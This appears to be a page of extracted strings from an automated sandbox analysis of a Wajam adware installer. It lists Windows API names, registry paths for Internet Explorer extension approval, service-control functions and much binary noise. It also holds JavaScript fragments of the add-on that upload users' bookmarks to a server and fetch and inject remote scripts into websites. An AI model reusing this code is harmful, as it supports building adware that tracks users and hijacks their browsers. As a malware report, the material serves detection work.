Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

SetSecurityInfo

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

SetServiceBinaryPath

Ansi based on Dropped File (SimpleSC.dll.523064890)

SetServiceDelayedAutoStartInfo

Ansi based on Dropped File (SimpleSC.dll.523064890)

SetServiceDescription

Ansi based on Dropped File (SimpleSC.dll.523064890)

SetServiceFailure

Ansi based on Dropped File (SimpleSC.dll.523064890)

SetServiceFailureFlag

Ansi based on Dropped File (SimpleSC.dll.523064890)

SetServiceLogon

Ansi based on Dropped File (SimpleSC.dll.523064890)

SetServiceStartType

Ansi based on Dropped File (SimpleSC.dll.523064890)

SetServiceStatus

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

SetStdHandle

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

SetTextColor

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetThreadLocale

Ansi based on Dropped File (priam_bho.dll.1505483275)

settings logging to %d

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

settings logging to 0

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

settings logging to 1

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

SetUnhandledExceptionFilter

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

Setup was completed successfully.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

SetWindowLongA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetWindowLongW

Ansi based on Dropped File (priam_bho.dll.1505483275)

SetWindowPos

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SetWindowTextA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Sh0BP3PPPU0@D$jPWVU(@V@U@pC_^][

Ansi based on Dropped File (nsqE177.tmp)

ShareCredsWithWinHttp

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

SHAutoComplete

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SHBrowseForFolderA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SHCreateStreamOnFileW

Ansi based on Dropped File (priam_bho.dll.1505483275)

SHELL32.dll

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ShellExecuteA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ShellState

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

SHFileOperationA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SHGetFileInfoA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SHGetFolderPathA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SHGetPathFromIDListA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SHGetSpecialFolderLocation

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SHGetSpecialFolderPathW

Ansi based on Dropped File (priam_bho.dll.1505483275)

SHLWAPI.dll

Ansi based on Dropped File (priam_bho.dll.1505483275)

ShowCompColor

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ShowInfoTip

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ShowSuperHidden

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ShowTypeOverlay

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ShowWindow

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SimpleSC.dll

Ansi based on Dropped File (SimpleSC.dll.523064890)

SimpleSC.dllContinueServiceExistsServiceGetErrorMessageGetServiceBinaryPathGetServiceDelayedAutoStartInfoGetServiceDescriptionGetServiceDisplayNameGetServiceFailureGetServiceFailureFlagGetServiceLogonGetServiceNameGetServiceStartTypeGetServiceStatusGrantServiceLogonPrivilegeInstallServicePauseServiceRemoveServiceRemoveServiceLogonPrivilegeRestartServiceServiceIsPausedServiceIsRunningServiceIsStoppedSetServiceBinaryPathSetServiceDelayedAutoStartInfoSetServiceDescriptionSetServiceFailureSetServiceFailureFlagSetServiceLogonSetServiceStartTypeStartServiceStopService400,080<0@0D0H0L0P0T0b0j0r0z000000000000000001

Ansi based on Dropped File (nsqE177.tmp)

SING error

Ansi based on Dropped File (nsqE177.tmp)

site && site!=undefined) {var scripts = site.js_files;if (scripts && scripts!=undefined) {var scripts_length = scripts.length;var script;for (var i = 0; i < scripts_length; i++) {// Remove all script in preferences for this sitescript = scripts[i];priam.Preferences.cleanPriamPref('supported_sites.'+siteName+'.'+script.id);str += priam.Trace.add(method_name,'DELETED supported_sites.'+siteName+'.'+script.id);}}}}if (siteName) {// Grab the 'reload javascript' elementvar element_reload_js = _document.getElementById(priam.Config.added_var_name.element_addon_reload_javascript);// Get the website_version, it should be different on each new update// It is added to the css's url, so that it won't be taken from the cache.if (element_reload_js && element_reload_js.value !== undefined) {

Ansi based on Dropped File (priam_bho.dll.1505483275)

SizeofResource

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

Sj'Z}f;1AP`j'Yf;uPj'Yf;uRj'Yf;uPPEU+E LG;~M+f9fHu3f;u3f;tl3f6X|

Ansi based on Dropped File (nsqE177.tmp)

Sj1j"|jsj5uhxC#PS#Pu\@!}PWSVh@C+

Ansi based on Dropped File (nsqE177.tmp)

SjV.EVEED;W\0:;\8EfMPSu}EfM.EP`@6

Ansi based on Dropped File (nsqE177.tmp)

skip_new_tab

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Skipping section: "%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Sleep(%d)

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Sleep(3000)

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.00401000.00000020.mdmp)

SocketReceiveBufferLength

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

SocketSendBufferLength

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Software\Borland\Delphi\Locales

Ansi based on Dropped File (SimpleSC.dll.523064890)

SOFTWARE\Borland\Delphi\RTL

Ansi based on Dropped File (SimpleSC.dll.523064890)

Software\Borland\Locales

Ansi based on Dropped File (SimpleSC.dll.523064890)

Software\Microsoft\Internet Explorer

Unicode based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

Software\Microsoft\Internet Explorer\Approved Extensions\

Unicode based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

Software\Microsoft\Windows\CurrentVersion

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Software\Microsoft\Windows\CurrentVersion\Ext\Settings\

Unicode based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

Software\Wajam

Unicode based on Dropped File (priam_bho.dll.1505483275)

SOFTWARE\Wajam\Update

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

SourcePath

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

sp1_ldr.170913-0600

Unicode based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

space for _onexit/atexit table

Unicode based on Dropped File (priam_bho.dll.1505483275)

space for thread data

Unicode based on Dropped File (priam_bho.dll.1505483275)

SpawnInstance failed.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

SpecialBuild

Ansi based on Dropped File (MoreInfo.dll.4230172058)

sponse) {var debug_show_bookmarks = response.value;if (debug_show_bookmarks == 'true') {priam.ext.show('(debug_show_bookmarks)\n'+'priamSendBookmarks\n\n'+'url\n'+_url+'\n'+'xml_string:\n'+xml_string);}});priam.Util.priamSendAjaxRequest({method: 'POST',url: _url,data: 'xml=' + xml_string,headers: params_headers,onload: function(xhr) {try {var responseText = xhr.responseText;/*if (responseText !== '') {priam.ext.debug(responseText);}*/}catch (e) {str += priam.Trace.add(method_name,'Error Message: ' + e.message);} }});}catch(e) {str += priam.Trace.add(method_name,'Error Message: ' + e.message);}priam.ext.debug(method_name,str);},toXml: function(_bookmarks) {var method_name = 'toXml';var xml_string = '';try{//MAKING THE XML STRING TO SENDxml_string = "<?xml version='1.0' encoding

Ansi based on Dropped File (priam_bho.dll.1505483275)

SPV>MtuVh@LIuVh@LEjjjEWh@LYYuVp@tj9]t%VLtuV[EjWh@

Ansi based on Dropped File (nsqE177.tmp)

SqmHttpStreamRandomUploadPoolSize

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

SQMServiceList

Unicode based on Runtime Data (WajamUpdater.exe )

SR: ------------------------------------------------------------

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

sS=N(y{Q&

Ansi based on Dropped File (nsqE177.tmp)

sSubKeyName

Unicode based on Dropped File (IpConfig.dll.3460457498)

st, response){var value = priam.background.preferences.get(request.key);response.sendResponse({value: value});},get_host: function(request, response){response.sendResponse(priam.background.config.getHost(request.support_https));},request_mapping: function(request, response){var mapping_url = priam.background.url.getMapping();priam.background.util.download(mapping_url, function(url, code, content){if (code==200) {response.sendResponse({error:false, content: content });}else {response.sendResponse({error:true});}});},request_script: function(request, response){var url = request.url;priam.background.util.download(url, function(url, code, content){if (code==200) {response.sendResponse({error:false, content: content});}else {response.sendResponse({error:true});}});},set_localStorage: function(request, response){var key = request.key;var value = request.value; pr

Ansi based on Dropped File (priam_bho.dll.1505483275)

StartService

Ansi based on Dropped File (SimpleSC.dll.523064890)

StartServiceCtrlDispatcherW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

stats.g.doubleclick.net

Ansi based on PCAP Processing (PCAP)

StdRegProv

Unicode based on Dropped File (IpConfig.dll.3460457498)

stJsonString);}catch(e) {priam.Trace.add(method_name,'Error Message: '+e.message);}if (priam.Util.isValidMappingList(mappingList)) {var server_current_mapping_version = prefs['server_current_mapping_version'];str += priam.Trace.add(method_name,'server_current_mapping_version: '+server_current_mapping_version);var mappingListVersion = mappingList.version;str += priam.Trace.add(method_name,'mappingListVersion: '+mappingListVersion);if (server_current_mapping_version && (server_current_mapping_version == mappingListVersion)) { // Compare mappingListVersion with the flag versionpriam.ext.processSiteLookup(_document,mappingList);}else {str += priam.Trace.add(method_name,'mappingList version != server, request flag info');priam.Preferences.getFlagInfo(_document);}}}else {// mappingList NOT FOUNDstr += priam.Trace.add(method_name

Ansi based on Dropped File (priam_bho.dll.1505483275)

stop service

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

StopService

Ansi based on Dropped File (SimpleSC.dll.523064890)

StoresServiceClassInfo

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

str += priam.background.trace.add(method_name,'Log size: '+jsonData.debug_info_log_size);}if (jsonData.log_info_only_error) {priam.background.preferences.set('log_info_only_error',jsonData.debug_info_only_error);str += priam.background.trace.add(method_name,'Log only error: '+jsonData.debug_info_only_error);}}}else {priam.background.preferences.set( 'logged', 'false' );str += priam.background.trace.add(method_name,'User logged: FALSE');}}catch(e) {str += priam.background.trace.add(method_name,'Error Message: '+e.message);}priam.background.ext.debug(method_name,str);},processMappingListCleanUp: function(old_mapping_list,new_mapping_list) {var method_name = 'processMappingListCleanUp';var str = '';try {var old_script_array;var old_script_object_id;var oldSiteFound;var oldScriptFound;var old_site;var new_site;var old_site_name;var new_site_n

Ansi based on Dropped File (priam_bho.dll.1505483275)

str += priam.Trace.add(method_name,'Error Message: '+e.message);}});priam.ext.debug(method_name,str); },onEventDOMContentLoaded: function(event) {var method_name = 'onEventDOMContentLoaded';var str = '';try {if (document) {var location = document.location;if (location) {var href = location.href;if (href) {var isHrefAboutBlank = priam.Browser.Util.isAboutBlank(href);var isHrefEmpty = (href === '');if (!isHrefAboutBlank && !isHrefEmpty && (href.indexOf('blank.htm') == -1)) { //must not process 'about:blank' or empty hrefstr += priam.Trace.add(method_name,'Processing: '+document.location.href);priam.ext.processDOMLoad(document);}}}}}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name, str );}};priam.background.browser.preferences = {get: function(key) {var method_name = 'get';var str

Ansi based on Dropped File (priam_bho.dll.1505483275)

str += priam.Trace.add(method_name,'Error Message: siteName has not been found. Not updating script/css');}}}}catch(f){}}}}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);}};priam.listener = {clean_all: function(document) {var str = '';var method_name = 'clean_all';try {if(document.removeEventListener){document.removeEventListener( priam.Config.event_name.update_mapping_list,priam.listener.on_priam_update_mapping_list,true);document.removeEventListener( priam.Config.event_name.ajax_call,priam.listener.on_priam_ajax_call,true);document.removeEventListener( priam.Config.event_name.update_script,priam.listener.on_priam_update_script,true);document.removeEventListener( priam.Config.event_name.justLoggedIn,priam.listener.on_just_logged_in,true);document.removeEventListener( priam.Config.event_name.justLog

Ansi based on Dropped File (priam_bho.dll.1505483275)

StreamResource

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

StreamResourceType

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

StringFileInfo

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

StringFromGUID2

Ansi based on Dropped File (System.dll.4179624505)

StringX@X@l-@x-@|-@-@t-@8,@T,@p,@TObject%h@%d@%`@%\@%X@%|@%T@%x@%P@%L@%H@%D@%@@%<@%8@%4@%0@%,@%(@%$@%t@% @%@%@%@%@%@%@%@%@%@%@S

Ansi based on Dropped File (nsqE177.tmp)

sttttttthQottttttsix-MLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLAXddVqvvvvvvvvk

Ansi based on Dropped File (nsqE177.tmp)

SUF>0y|$t>|_uFVY^][USVuW}]|sEE-uEE0G|Cv=jj

Ansi based on Dropped File (nsqE177.tmp)

SunMonTueWedThuFriSat

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

SupportedNameSpace

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Sv%@[USV3E3Uh[{@d0d EX{uU8@

Ansi based on Dropped File (nsqE177.tmp)

sValueName

Unicode based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.00401000.00000020.mdmp)

SVh@Tj1Vuh@yIuV[=;;EZ;EEj|Vh@7IYYuV~=jXPD

Ansi based on Dropped File (nsqE177.tmp)

SVWU,@@@@{(u?t3?u=@t23@{(u

Ansi based on Dropped File (nsqE177.tmp)

SW|$39|7V >u~uFX0Pj@0C ;~^_[QL$3SU9VWD$D$L$Ft*jY;t#u"~HPQNh4@Y~~uf~*U00U8P_YYxX@Pj@0~X@PWPUjj,0>u jj@0PFWP0W0+;'UFYUYSU'U0|$t#D$L$;u

Ansi based on Dropped File (nsqE177.tmp)

SyncMode5

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

syndication.twitter.com

Ansi based on PCAP Processing (PCAP)

SysListView32

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

System.dll

Ansi based on Dropped File (System.dll.4179624505)

SYSTEM\CurrentControlSet\Services\NetBT\Parameters

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

SystemParametersInfoA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

SystemSetupInProgress

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

SysTreeView32

Unicode based on Dropped File (uninstall.exe.1409288513)

SYYF;}Y}EM$

Ansi based on Dropped File (nsqE177.tmp)

s}0Au#uSuuu#3UUVujXEU;u} |}S3;|;5Ar||t|NW<AL0u||hwN];9]t5D0$EHjYtHutU]]zuD|*|{6M;rEuY]u{|njjjutD(T,AHtzI

Ansi based on Dropped File (nsqE177.tmp)

s~'9c;c;?PKKf=js/background.jskSHSIj?\A1"x6gl% K>IRZpVmLOwO{fh?{=cjw>8z[Om=N]6tu7}w8gX>^237g(8e,{RxA}vyRUYVKL G~XxtM4<_30{|$Ha'vC/9F"'sem=i|dL}Bo<$rE~,'> >M(H< ao]yh|6o=6[B-}iB<\h(M'<[%R EW_'0/

Ansi based on Dropped File (nsqE177.tmp)

t Explorer Add-on

Unicode based on Dropped File (priam_bho.dll.1505483275)

t Explorer\iexplore.exe

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

t f;Jtf;Jtf;JtZ)@t@1SJVWt

Ansi based on Dropped File (nsqE177.tmp)

t f;Jtf;Jtf;JtZ)@WPQ1uXX_}1tJ@t@t?SVWyV9tN_^[tat;t\;tPQeZXSVWPCFKNSXtO_^[ISVWRP1Lt9u1LtA9u1Jut7v!W7K2PDt

Ansi based on Dropped File (nsqE177.tmp)

t open Service Manager

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

t uP1AU DA3ESV53f;WV34[AP0AGr39;|Pj{Xf;9}td>juPy_jjP>_2AM^3[[A^WWP;|3f;h$#A}E]3ujVPE0A;uHSWP0A;u

Ansi based on Dropped File (nsqE177.tmp)

t!9EE@@EEE}utE nTtZtEHt0tuEG}u;eE1}u%UEut3f}j _f9>tjVh<3A\f9>tf>=uuf9>tjhD3AV[u

Ansi based on Dropped File (nsqE177.tmp)

T"-w'D>,~3:4uiK8QyIuO[WZFjZ8-9R.| px4QiH[f~11inxDe"}gw2=^}eTIQe-1NMGc*P>f5Wt=Uox`@D!xvSVD!_7~'{RJ^`b*}?0jsh;SxkwnBtrEh REI:mhlQ"*p

Ansi based on Dropped File (nsqE177.tmp)

t#:r:w:r:w:uu3:tr[^_US39]u3>VWudpVVXYY;tuVWuSSSSS$f3_^[]USuMIE3;u fBf8]tE`p3pVu9^u:uPYY=D2t@:t:9MuH9Ut@f;u9Mu8]tMap8]tE`p3^[Ujuu>]B[$d$3D$ST$t

Ansi based on Dropped File (nsqE177.tmp)

t$4T0AD$dP1A$PD$tPQ39{'t3h`s0A=;;wt$jD^V$WP<$P$PWWWWWWt$<$W0At$50A$t$1A{yjD$$PjWhlUAV|$8H0A;tVT0AWs0A=7hfAD$$PD$(h$PD$tPQ$Hd

Ansi based on Dropped File (nsqE177.tmp)

T$B3,J3,TiAEET$BJ3+iAT$3+J3+iAt]T$B3a+J3W+XjAbT$BJ3<+jAG0%TA%XAhM$AA8[ADY A(hb$ADY<1Ahl$AXA2A\A`AqDYhv$AeDYVA(^ A'XA(A3AAlAAArrpr`rNr<rr

Ansi based on Dropped File (nsqE177.tmp)

T$jPh2@R@\$;SCt@S

Ansi based on Dropped File (nsqE177.tmp)

t$jW@;tm9\$tgjV@\5YY@DYT@PYPhlXP<@

Ansi based on Dropped File (nsqE177.tmp)

t$s ^UV3PPPPPPPPUI

Ansi based on Dropped File (nsqE177.tmp)

t$sF ^UVuMWEut0u$t>t}tE`p3}t}|}$eMSW~~EPjPpMBtG-uM+uGEOF$=u*0tE

Ansi based on Dropped File (nsqE177.tmp)

t$T0A$x"d

Ansi based on Dropped File (nsqE177.tmp)

t$T0A9|$W|$@jt$@T0A[|$9|$t

Ansi based on Dropped File (nsqE177.tmp)

t$V6Yu^V5BjtW6w@W@u_%B^BH;L$t

Ansi based on Dropped File (nsqE177.tmp)

t$XT0AD$T$$RPQ4|$$0tx|$$unD$dP1A$PD$T$dRPQDD$dP3FsjL$QjjhlUAPD$Lt$,|$4t

Ansi based on Dropped File (nsqE177.tmp)

t%86+r|aqX0b3#}(M~j%~5$NL z%2FRPpL

Ansi based on Dropped File (nsqE177.tmp)

t%<t><tQ<

Ansi based on Dropped File (nsqE177.tmp)

t%E>F:Et@;u|9EPWw5`E8Et<

Ansi based on Dropped File (nsqE177.tmp)

t&04c@0:bN^UJ%6_ggY$pYl#aDZ`AncV@,b<p+^; jUK>D(9;wmU|#kIUUTV."<zAwgI%8"e>\hLVq3:TT_Fo!o@

Ansi based on Dropped File (nsqE177.tmp)

t);},getDebug: function() { return 0; },getVersion: function() { return priam.Browser.Config.getVersion(); }};priam.Registry = {path_x32: 'Software\\'+priam.Product.name,path_X64: 'Software\\Wow6432Node\\'+priam.Product.name};priam.Preferences = {getService: function(){return priam.Preferences.getService();},getPriamBranch: function(){return priam.Preferences.getPriamBranch();},set: function(key, value){priam.Browser.messageManager.sendRequest("set_localStorage", {key: key, value: value});},get: function(key, callback){priam.Browser.messageManager.sendRequest('get_localStorage', {key: key}, callback);},cleanPriamPref: function(prefKeyToRemove) {priam.Browser.messageManager.sendRequest('clean_priam_pref', {key: prefKeyToRemove}, function(response){});},getFlagInfo: function(document) { priam.Browser.messageManager.sendRequest('get_flag_info', {}, function(response){if (!response.error &&

Ansi based on Dropped File (priam_bho.dll.1505483275)

T)>;O;<~G09.A`V0+@*SemU+e`w}N2InrTiWTmkB`pc+7S=9 KvHK;i`#OyYe{xE\AZC;mB]Kcm#$$)XN8IdBh4i%E: &YIga^cn8(.Cy(i()@g</82J*zz

Ansi based on Dropped File (nsqE177.tmp)

t*kv0}btR<{.puEYfUW{%~XXPx8_)qFBIKD":Lu0f)

Ansi based on Dropped File (nsqE177.tmp)

t-OVFt<hT@\YYt$vt,lCh@lC_^h<@ YYuU@SVW=C3}}MM3}E]]]C=8@hH\@`uMEhCuhCu5CCEjhtCjSCCPhd@VEPu\@j@M5P@+EPShMu@PPh6u9]|uShuuSh&u9]|uSh$uEp0juCt4S5C@Cu

Ansi based on Dropped File (nsqE177.tmp)

t2DFia?vA9I[;/]]sM]"wf:ieXo7Q6ttB)XH}SNW=bXEWFSD_P<wxV=@,EV6.W;Www

Ansi based on Dropped File (nsqE177.tmp)

T2~.Nvw!w+^mS2W<)6i*N3~_A>CcfNJ~_$l$;bmtrx@)^:fSu%CJvOC0fD%n@Yx,!4Mc

Ansi based on Dropped File (nsqE177.tmp)

t:Jt:Jt:JtBBBZ)@1t-Rf;

Ansi based on Dropped File (nsqE177.tmp)

T;=@u,)@@=@<~3EEt}@7)xt8tx}@P'@E3ZYYdhe"@=E@t

Ansi based on Dropped File (nsqE177.tmp)

t<\t+ttVV;VVx@3_^SVWt$t$"t$7$7V@7tV(@V;}3_^[L$Vt$~D$+ANu^t$x@t

Ansi based on Dropped File (nsqE177.tmp)

t=u[U@EEPjjh+@huM3Uh+@d0d EEPEPjjh,@EP3ZYYdh+@EP\rf@f%fUf?ff@]SOFTWARE\Borland\Delphi\RTLFPUMaskValue-@VWp1A_^@S&<[S[~ztQSVWK1QIYKtQ[t9t[st{4Iu9u_^[SV6Vvtu^[SVt

Ansi based on Dropped File (nsqE177.tmp)

t? t:S1AU+LG ;s(~+f;fHu3f;u3f3[_^UjhS#AdPQd"DA3$`"SVWDA3P$x"dEu3L$D$$|$|$|$ ED$<$"d;f>}3hHTAVD$40AhlTACV\$00At;L$;^9}j\|$4|$8|$<YVvt&D$$VL$4D$4|$8|$<|$0|$4|$89|$(t4L$;L$d$4|$4hXTAV0AuL$|$,N;hTAV0AL$$l ;rL$;]f>=9}tUD$$L$$"D$LV$pPT$T|$X|$\#|$L|$P|$T;s$"|$P9}ub9|$,t\Wt$(\$H|$H|$L|$PK|$@$lPW40AttWT0Ad$@d$DL$o}j\CY9}t|Vt$(\$ wt'Vt$(dtVt$(L$f>=L$VjT$ 9}uVt$(\$ D$(3D$(9|$(tEjVD$lhPPL$(.;L$]xof>{u<V0Au0uL$jt$ Vy}t>L$x-|$(D$<E[D$(3;tJ9|$<G|$t

Ansi based on Dropped File (nsqE177.tmp)

t?3WK([~~S=yZ97"9QS!kHrO ~L

Ansi based on Dropped File (nsqE177.tmp)

T?};;91<#bghz<q,Kg(s fi

Ansi based on Dropped File (nsqE177.tmp)

t[USV]hQRP~Iu^[]SVWQjD$PVW~$Z_^[UQSVWM]SE@3k;u

Ansi based on Dropped File (nsqE177.tmp)

T_Vq;rtX_P@%X_Y^jXUS]VuW}u=L_&tu"\_tWVStWVSu3NWVSEuu7WPStu&WVSu!E}t\_tWVSEE_^[]%|@RD^EHE6E"EEEDDDDDDDDD*D6DDBD`DnD|DDDzCCCCCCCCCCCCpCEEEEEEEFF&F8FHFZFjFFFFFFFFFF

Ansi based on Dropped File (nsqE177.tmp)

tApAlA5hA=dAfAf

Ansi based on Dropped File (nsqE177.tmp)

TArgumentsServiceControl" US3]]]MUEE53Uhp@d0d El@E3EEEE8 u}uEEE8"uE4EE}uE}uEU*UE}uEHE@PEl@'EfUDPEt@NZEAUDUEEUEUE0EEE~EU3ZYYdhw@EaE5E-[]UEE3Uh@d0d Ea~.EUH|!@EEEUWEMu3ZYYdh@El@F]US3]MUEEE3Uh@d0d jjh@OE}jEPEP6E}vWUMUE>YEPEPEP$tME@E~EUEYEP}EEP}}E3ZYYdh@El@E5E[]US3]MUEE3Uh@d0d 3E3E3E3EEjjh@#E}+j(EPEP

Ansi based on Dropped File (nsqE177.tmp)

tart Menu\Programs\Wajam\uninstall.lnk

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

TATATATATAlTAXTAHTAXAXAXAXAxXAlXA`XA<XAXAWAWAWAWAhWAHKCU

Ansi based on Dropped File (nsqE177.tmp)

tat}]_^[MuMuzMuf1O|9Owc7MuE31G\8t8Mu(PMufMu]_^[SVWhPXJfC_^[ffrft@X@3@@@+u@@X@%X@%\@%@PXRPD$$$D$d$$d$YYUSVW\$L$ut/t+@119rw9r)@_^[]1USVW\$L$ut3t/@119rw9r)@_^[]1t@Uu]USVWME]E8}EJ3EtE3FPUPt23mEE;Et=Et;u5];}}tUM+;EUX]^EEE;}}}t*UU3EPUMME;+UUEE3}~.EMO|"GEEPEMEOuE_^[]T$jt3Iu'P1JTtHt(XStBtKuPRCZX[t@@SV{u+hD$PCPysuCCC^[@t;Bt

Ansi based on Dropped File (nsqE177.tmp)

tCAMEH;sA8

Ansi based on Dropped File (nsqE177.tmp)

TcpAutotuning

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

tDWj t5SWjVt EPEPh\ StEES V u0h\!V 0k0VP _^[]3@0Vt)0t#FPt$

Ansi based on Dropped File (nsqE177.tmp)

te;UxyS7-f)n`9]\|'Eo1Kp ZW|:*0u`o>/Q0Yw9Oe1R<qHF2q\.mG&LbU"nMMdJRJtkBxoN|"tkN4\F=T`x&}_{|fl

Ansi based on Dropped File (nsqE177.tmp)

Terminated

Ansi based on Dropped File (inetc.dll.1181384010)

TerminateProcess

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

TerminateThread

Ansi based on Dropped File (inetc.dll.1181384010)

